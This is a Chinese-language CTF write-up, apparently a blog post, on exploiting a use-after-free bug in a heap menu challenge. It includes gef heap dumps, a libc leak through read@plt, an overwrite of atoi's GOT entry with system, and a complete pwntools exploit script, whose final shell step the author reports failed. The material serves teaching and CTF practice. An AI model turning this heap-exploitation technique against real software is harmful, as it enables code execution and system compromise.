0x6042f0: 0x0000000000000000 0x0000000000020d11

0x604300: 0x0000000000000000 0x0000000000000000

0x604310: 0x0000000000000000 0x0000000000000000

接下来把两个全部释放,先释放第一个,可以发现只释放了每一个申请的第一个块

gef➤ x/70g 0x0000000000604240

0x604240: 0x0000000000000000 0x0000000000000000

0x604250: 0x0000000000000000 0x0000000000000021

0x604260: 0x0000000000000000 0x0000000100000001

0x604270: 0x0000000000604280 0x0000000000000031

0x604280: 0x0000000000000000 0x6161616161616161

0x604290: 0x6161616161616161 0x6161616161616161

0x6042a0: 0x0000000000000000 0x0000000000000021

0x6042b0: 0x0000000100000001 0x0000000100000001

0x6042c0: 0x00000000006042d0 0x0000000000000031

0x6042d0: 0x6262626262626262 0x6262626262626262

0x6042e0: 0x6262626262626262 0x6262626262626262

0x6042f0: 0x0000000000000000 0x0000000000020d11

0x604300: 0x0000000000000000 0x0000000000000000

0x604310: 0x0000000000000000 0x0000000000000000

释放的会进入到fast bin里面

gef➤ heap bins

─────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40───────────────────────────────

Tcachebins[idx=0, size=0x10] count=1 ← Chunk(addr=0x604260, size=0x20,
flags=PREV_INUSE)

Tcachebins[idx=1, size=0x20] count=1 ← Chunk(addr=0x604280, size=0x30,
flags=PREV_INUSE)

──────────────────────────────── Fastbins for arena 0x7ffff7dcfc40────────────────────────────────

Fastbins[idx=0, size=0x10] 0x00

Fastbins[idx=1, size=0x20] 0x00

Fastbins[idx=2, size=0x30] 0x00

Fastbins[idx=3, size=0x40] 0x00

Fastbins[idx=4, size=0x50] 0x00

Fastbins[idx=5, size=0x60] 0x00

Fastbins[idx=6, size=0x70] 0x00

─────────────────────────────── Unsorted Bin for arena 'main_arena'───────────────────────────────

[+] Found 0 chunks in unsorted bin.

──────────────────────────────── Small Bins for arena 'main_arena'────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

──────────────────────────────── Large Bins for arena 'main_arena'────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

再删除一个

gef➤ heap bins

─────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40 ───────────────────────────────

Tcachebins[idx=0, size=0x10] count=2 ← Chunk(addr=0x6042b0, size=0x20,
flags=PREV_INUSE) ← Chunk(addr=0x604260, size=0x20, flags=PREV_INUSE)

Tcachebins[idx=1, size=0x20] count=2 ← Chunk(addr=0x6042d0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x604280, size=0x30, flags=PREV_INUSE)

──────────────────────────────── Fastbins for arena 0x7ffff7dcfc40 ────────────────────────────────

Fastbins[idx=0, size=0x10] 0x00

Fastbins[idx=1, size=0x20] 0x00

Fastbins[idx=2, size=0x30] 0x00

Fastbins[idx=3, size=0x40] 0x00

Fastbins[idx=4, size=0x50] 0x00

Fastbins[idx=5, size=0x60] 0x00

Fastbins[idx=6, size=0x70] 0x00

─────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────

[+] Found 0 chunks in unsorted bin.

──────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

──────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

可以看到删除的在bins里面以链表的形式存在。因为之前的指针没有置空,所以在内存还存在着数据

gef➤ x/70g 0x0000000000604240

0x604240: 0x0000000000000000 0x0000000000000000

0x604250: 0x0000000000000000 0x0000000000000021

0x604260: 0x0000000000000000 0x0000000100000001

0x604270: 0x0000000000604280 0x0000000000000031

0x604280: 0x0000000000000000 0x6161616161616161

0x604290: 0x6161616161616161 0x6161616161616161

0x6042a0: 0x0000000000000000 0x0000000000000021

0x6042b0: 0x0000000000604260 0x0000000100000001

0x6042c0: 0x00000000006042d0 0x0000000000000031

0x6042d0: 0x0000000000604280 0x6262626262626262

0x6042e0: 0x6262626262626262 0x6262626262626262

0x6042f0: 0x0000000000000000 0x0000000000020d11

0x604300: 0x0000000000000000 0x0000000000000000

因为在bins里是以链表的形式存在的所以0x6042b0存的是前面的地址。

根据linux的堆管理机制,当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

所以如果我们再申请一个和前面释放的一样大小的内存空间,那么系统将会把bins里面的空间重新拿出来用。

在这道题如果我们再申请一个0x18的空间,申请的name为read的plt地址,那么我们就可以把read加入到堆中,再利用程序原本就有的显示功能就可以打印出read的真实地址,那么我们就可以找到libc的版本号了。

gef➤ x/70ag 0x016ec240

0x16ec240: 0x0 0x0

0x16ec250: 0x0 0x21

0x16ec260: 0x400d60 <read@plt> 0x400000003

0x16ec270: 0x16ec280 0x31

0x16ec280: 0x0 0x6161616161616161

0x16ec290: 0x6161616161616161 0x6161616161616161

0x16ec2a0: 0x0 0x21

0x16ec2b0: 0x200000001 0x400000003

0x16ec2c0: 0x16ec260 0x31

0x16ec2d0: 0x16ec280 0x6262626262626262

0x16ec2e0: 0x6262626262626262 0x6262626262626262

0x16ec2f0: 0x0 0x20d11

0x16ec300: 0x0 0x0

可以看到read.plt的地址已经在堆中(这里的地址和上面不一样是因为上面是用gdb直接调试的,现在的是用脚本在gdb调试)

接下来我们就可以用LibcSearcher拿到libc的版本,从而拿到了ststem的地址。

剩下的就是如何使system执行。菜单里的edit可以导致任意地址写漏洞

所以我们可以构造 payload 来覆写它的数据。如果我们用一个自己选择的指针(GOT条目)来覆写原来的指针,然后使用它调用 edit 函数,将能够重定向代码的执行。

选择 GOT 里的 atoi 函数来覆写 。原因是 atoi 接收一个指向我们输入的指针,然后将其转换回整数。如果将 atoi 换成 system函数,并提供 sh 作为 system 的参数,就能得到 shell。

gef➤ x/70g 0x016ec240

0x16ec240: 0x0000000000000000 0x0000000000000000

0x16ec250: 0x0000000000000000 0x0000000000000021

0x16ec260: 0x0000000200000001 0x0000000400000003

0x16ec270: 0x00000000016ec2b0 0x0000000000000031

0x16ec280: 0x00000000016ec2d0 0x6262626262626262

0x16ec290: 0x6262626262626262 0x6262626262626262

0x16ec2a0: 0x0000000000000000 0x0000000000000021

0x16ec2b0: 0x0000000000603110 0x0000000400000003

0x16ec2c0: 0x00000000016ec2d0 0x0000000000000031

0x16ec2d0: 0x0000000000000000 0x6161616161616161

0x16ec2e0: 0x6161616161616161 0x6161616161616161

0x16ec2f0: 0x0000000000000000 0x0000000000020d11

0x16ec300: 0x0000000000000000 0x0000000000000000

我们可以看到在0x16ec2b0的位置已经是atoi的got的地址了,接下来按理说直接调用edit将system覆盖它然后输入‘sh’就能拿到shell,但我这里失败了,不知道原因出在哪里。

Exp:

from pwn import *

from LibcSearcher import *

context.terminal = ['terminator','-x','sh','-c']

r=process('./main')

elf=ELF('main')

pwnlib.gdb.attach(r)

read_plt=elf.plt['read']

def add_player(name):

	r.recvuntil("Your choice: ")

	r.sendline('1')

	r.recvuntil("Enter player name: ")

	r.sendline(name)

	r.recvuntil("Enter attack points: ")

	r.sendline('1')

	r.recvuntil("Enter defense points: ")

	r.sendline('2')

	r.recvuntil("Enter speed: ")

	r.sendline('3')

	r.recvuntil("Enter precision: ")

	r.sendline('4')

def delete_player(index):

	r.recvuntil("Your choice: ")

	r.sendline('2')

	r.recvuntil("Enter index: ")

	r.sendline(index)

def edit_player_name(name):

	r.recvuntil("Your choice: ")

	r.sendline("4")

	r.recvuntil("Your choice: ")

	r.sendline("1")

	r.recvuntil("Enter new name: ")

	r.sendline(name)

add_player('a'*32)

add_player('b'*32)

delete_player('0')

delete_player('1')

add_player(p64(read_plt)+'a'*(0x17-len(p64(read_plt))))

r.recvuntil("Your choice: ")

r.sendline('3')

r.recvuntil("Enter index: ")

r.sendline('0')

r.recvuntil("Name: ")

read_addr=u64(r.recv(4).ljust(8, 'x00'))

print(read_addr)

libc=LibcSearcher('read',read_addr)

base_addr=read_addr-libc.dump('read')

system_addr=base_addr+libc.dump('system')

binsh_addr=base_addr+libc.dump('str_bin_sh')

print(system_addr)

delete_player('0')

add_player('a'*32)

add_player('b'*32)

delete_player('0')

delete_player('1')

atoi_addr=elf.got['atoi']

print(hex(atoi_addr))

add_player(p64(atoi_addr)+'a'*(0x17-len(p64(atoi_addr))))

edit_player_name(p64(system_addr))

r.recvuntil("Your choice: ")

r.sendline('sh')

r.interactive()

参考链接:

https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580

http://www.myh0st.cn/index.php/archives/916/

参考链接:

https://blog.csdn.net/qq_31481187/article/details/73612451?locationNum=10&fps=1

https://www.cnblogs.com/alert123/p/4918041.html

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/



Share Tweet +1